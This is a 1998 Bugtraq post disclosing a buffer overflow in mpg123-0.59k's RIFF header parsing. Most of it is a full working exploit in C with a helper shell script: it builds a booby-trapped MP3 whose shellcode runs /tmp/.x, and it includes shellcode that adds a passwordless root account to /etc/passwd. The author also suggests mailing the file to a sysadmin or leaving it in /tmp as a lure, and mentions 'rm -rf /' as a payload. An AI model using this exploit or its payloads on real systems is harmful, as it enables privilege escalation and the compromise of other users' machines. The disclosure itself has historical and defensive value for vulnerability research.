[LWN Logo]

Date:	Sun, 1 Nov 1998 12:09:35 +0100
From:	Joel Eriksson <na98jen@STUDENT.HIG.SE>
Subject:      mpg123-0.59k bufferoverflow.
To:	BUGTRAQ@NETSPACE.ORG

I found a bufferoverflow in mpg123-0.59k. The most recent version,
mpg123-0.59o is not vulnerable though, so I guess the developers have
found the bug already or that they have made changes in the code that
had the sideeffect of eliminating this problem.

This is what causes the overflow:
-- common.c
[snip]
                        if(newhead == ('R'<<24)+('I'<<16)+('F'<<8)+'F') {
                                char buf[40];
                                fprintf(stderr,"Skipped RIFF header\n");
                                fread(buf,1,68,filept);
                                goto read_again;
                        }
[snip]
--

If the file has "RIFF" as a header a 40-chars buffer will be allocated and
*68* bytes will be read to it. That's enough to overwrite the saved
returnaddress on the stack.

As you can see it's a rather small buffer to overflow and it may seem hard
to do something useful. I managed to make an exploit for the bug though,
it's not particularly useful when the attacker does not have an account on
the system that the MP3 is played on, but an rm -rf / would probably fit
in the 48 bytes we can work with. :-P As would a routine that reads X
more bytes from the still open filedescriptor and jmp's to the beginning
of the code that can do whatever you want. So a "remote exploit" is
certainly possible if you succeed in some stackprediction..

The returnaddress seems to stay the same on the same system. I did a
script to get the %esp when the program returns into the unknown, which
can be given as an argument to my exploit which will subtract 0x4C from
it, which has been proven to work on the two Linux-systems I have at home.

Finally, something for the sCr1p+-k1dD13z, this will create a 56 bytes MP3
that executes /tmp/.x which could for example be a program that checks the
UID and if run by root creates a new account / SUID-shell / installs
backdoors / whatever, and if run by a user adds entries to their .rhosts
or something.. I have included a 93 bytes buffer with machinecode to
create a new root-account on the system which I planned to read in and
jmp to with the 48 bytes we can use in the overflow. Have not had the time
to fix some problems with this method though, so you'll have to satisfy
with this if you don't want to code it yourself.

For those who haven't figured that out yet you'll have to get someone to
try to listen to the damn thing too. :-) (I say this in the comments to
the src to, but noone seems to read those damn comments anyway so..) You
could for example mail the file to other users / the sysadmin, or just
have it in /tmp or your homedir and wait 'til someone gets curious..

--- mp3exp.c START [cut here]
/*
** Exploit for mpg123-0.59k, Linux x86.
**
--- calcaddr.sh START
#!/bin/sh

perl -e 'print "RIFF" . "A"x56'>bof.mp3
mpg123 bof.mp3 2> /dev/null
echo info all-registers \
|gdb mpg123 core 2>/dev/null|egrep "^esp"|awk '{print $2}'
--- calcaddr.sh END
**
** Give the address shown by calcaddr.sh as the first argument to
** this exploit, and it will handle the rest.. (e.g. subtract 0x4C
** from the address given) OBS! If you do what the script does manually
** you will not get the same result. Then CALCOFFSET should be 0x34 instead.
**
** mpg123-0.59o is not vulnerable, previous versions not checked.
**
** DESCRIPTION:
**
** Makes an MP3-file that executes a program when played with mpg123-0.59k.
** Will be more useful when I have succeded in making it add an account,
** the problem is that we only have 48 bytes to work with and my code
** to add a new account takes 93 bytes.
**
** For those who have not understood that yet, the trick is too get
** *someone*else* to play the MP3 using mpg123. You could for example
** mail the file to the sysadmin or just have it in /tmp and name it
** something like k3w1-mUz4c.MP3 or whatever may seem appropriate. :-)
**
** Plan:  In the 48 bytes I can put my code I'll make a routine that
**        just allocates a buffer, reads in the 93 bytes required to add
**        an account and jmp's to the beginning of the code.
**
** (C) 1998/10/31, Joel Eriksson - Chaoz on IRCNet.
**
** Disclaimer: This program is for informational purposes only.
**             I can not be held responsible for any use or misuse
**             of this program. And so on, the usual stuff..
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <limits.h>

#define ADDRLEN         4
#define DEFAULT_OFFSET  -0x88;
#define CALCOFFSET      -0x4C
/*
** When the address is calculated in a subshell (e.g. using the script
** included with this sourcecode) the offset is -0x4C, but when it is
** calculated manually in the lowest shell-level the offset is -0x34.
*/
#define MP3NAME         "bof.mp3"

const char FILLCHAR =   '.';

/*
** Standard shellcode, made by Aleph One, published in Phrack #49
** Modified to execute /tmp/.x instead of /bin/sh.
**
** /tmp/.x could for example add an account, create a SUID-root shell
** or if run by an ordinary user add an entry to their .rhosts, create
** a SUID-user shell or something else that seems like a good idea.
*/
char shellcode[] =
        "\xeb\x1f"              // jmp  0x1f
        "\x5e"                  // popl %esi
        "\x89\x76\x08"          // movl %esi,0x8(%esi)
        "\x31\xc0"              // xorl %eax,%eax
        "\x88\x46\x07"          // movb %al,0x7(%esi)
        "\x89\x46\x0c"          // movl %eax,0xc(%esi)
        "\xb0\x0b"              // movb $0xb,%al
        "\x89\xf3"              // movl %esi,%ebx
        "\x8d\x4e\x08"          // leal 0x8(%esi),%ecx
        "\x8d\x56\x0c"          // leal 0xc(%esi),%edx
        "\xcd\x80"              // int  $0x80
        "\x31\xdb"              // xorl %ebx,%ebx
        "\x89\xd8"              // movl %ebx,%eax
        "\x40"                  // inc  %eax
        "\xcd\x80"              // int  $0x80
        "\xe8\xdc\xff\xff\xff"  // call -0x24
        "/tmp/.x";              // .string "/bin/sh"
// 46 bytes

/*
** To execute something else than /tmp/.x just change the last string,
** but remember that it must be a 7 bytes string. It's possible to
** change the shellcode to execute a command with a longer path than
** 7 bytes by changing the offsets from %esi, which is not too hard
** if you know some assembler.
*/

/*
** Code to add user to passwd-file, made by me. Not used in this
** particular exploit yet, but ideally it'd be read in and executed
** by the 48 bytes that I have used to execute a shell in this exploit.
** This way the exploit becomes more interesting since it can be exploited
** remotely. We need to do some stackprediction though..
**
** If someone makes an exploit that uses this code, make sure to include
** me in the greetings.
*/
char addusercode[] =
        "\xeb\x3d"              // jmp  0x3d
        "\x5e"                  // popl %esi
        "\x89\x76\x1a"          // movl %esi,0x1a(%esi)
        "\x31\xc0"              // xorl %eax,%eax
        "\x88\x46\x0b"          // movb %al,0x0b(%esi)
        "\x83\xc6\x0c"          // addl $0x0c,%esi
        "\x89\x76\x12"          // movl %esi,0x12(%esi)
        "\x83\xee\x0c"          // subl $0x0c,%esi
        "\x31\xc0"              // xorl %eax,%eax
        "\x88\x46\x19"          // movb %al,0x19(%esi)
        "\x8b\x5e\x1a"          // movl 0x1a(%esi),%ebx
        "\x31\xc9"              // xorl %ecx,%ecx
        "\xb5\x04"              // movb $0x4,%ch
        "\xb1\x01"              // movb $0x1,%cl
        "\x31\xc0"              // xorl %eax,%eax
        "\xb0\x05"              // movb $0x5,%al
        "\xcd\x80"              // int  $0x80
        "\x89\xc3"              // movl %eax,%ebx
        "\x8b\x4e\x1e"          // movl 0x1e(%esi),%ecx
        "\x31\xd2"              // xorl %edx,%edx
        "\xb2\x0d"              // movb $13,%edx
        "\x31\xc0"              // xorl %eax,%eax
        "\xb0\x04"              // movb $0x4,%al
        "\xcd\x80"              // int  $0x80
        "\x31\xdb"              // xorl %ebx,%ebx
        "\x31\xc0"              // xorl %eax,%eax
        "\xb0\x01"              // movb $0x1,%al
        "\xcd\x80"              // int  $0x80
        "\xe8\xbe\xff\xff\xff"  // call -0x46
        "/etc/passwd."          // .string "/etc/passwd"
        "r00t::0:0:::\x0a";     // .string "r00t::0:0:::\n"
// 93 bytes

unsigned long getsp()
{
        __asm("mov %esp, %eax");
}

int main(int argc, char **argv)
{
        unsigned long addr;
        char *addr_ptr = (char*)&addr;
        int fd, i;
        char *filename = MP3NAME;

        addr = getsp() + DEFAULT_OFFSET;

        if(argc > 1) {
                /*
                ** This is UGLY coding. :-) strtol() overflows for some reason
                ** when just doing one strtol() on argv[1].
                */
                char *strptr = argv[1];
                char *numptr;
                char cur[3];
                char temp;
                int i;

                memset(addr_ptr, 0, ADDRLEN);
                memset(cur, 0, 3);

                if(!strncmp(strptr, "0x", 2)) strptr += 2;

                for(i=0; i<ADDRLEN; i++, strptr+=2) {
                        strncpy(cur, strptr, 2);
                        numptr = (char*)&addr_ptr[(ADDRLEN-1)-i];
                        *numptr = strtol(cur, (char**)NULL, 16) & 0xFF;
                }

                addr += CALCOFFSET;
        } else {
                fprintf(stderr, "Warning: Returnaddress may not be accurate.\n");
                fprintf(stderr, "Use calcaddr.sh (included) to be more precise.\n\n");
        }
        if(argc > 2) filename = argv[2];
        if(argc > 3) {
                fprintf(stderr, "Usage: %s [<address>] [<filename>]\n", argv[0]);
                exit(1);
        }

        if((fd = open(filename, O_WRONLY|O_CREAT|O_EXCL, 0644)) == -1) {
                perror("open");
                fprintf(stderr, "Could not create %s\n", filename);
                exit(1);
        }

        printf("Using address: 0x%lx\n", addr);

        write(fd, "RIFF", 4);
        write(fd, shellcode, strlen(shellcode));
        for(i=0; i<48-strlen(shellcode); i++)
                write(fd, &FILLCHAR, 1);
        for(i=0; i<4; i++)
                write(fd, &addr_ptr[i], 1);

        printf("\nMP3 created in %s.\n", filename);

        exit(0);
}
-- mp3exp.c END   [cut here]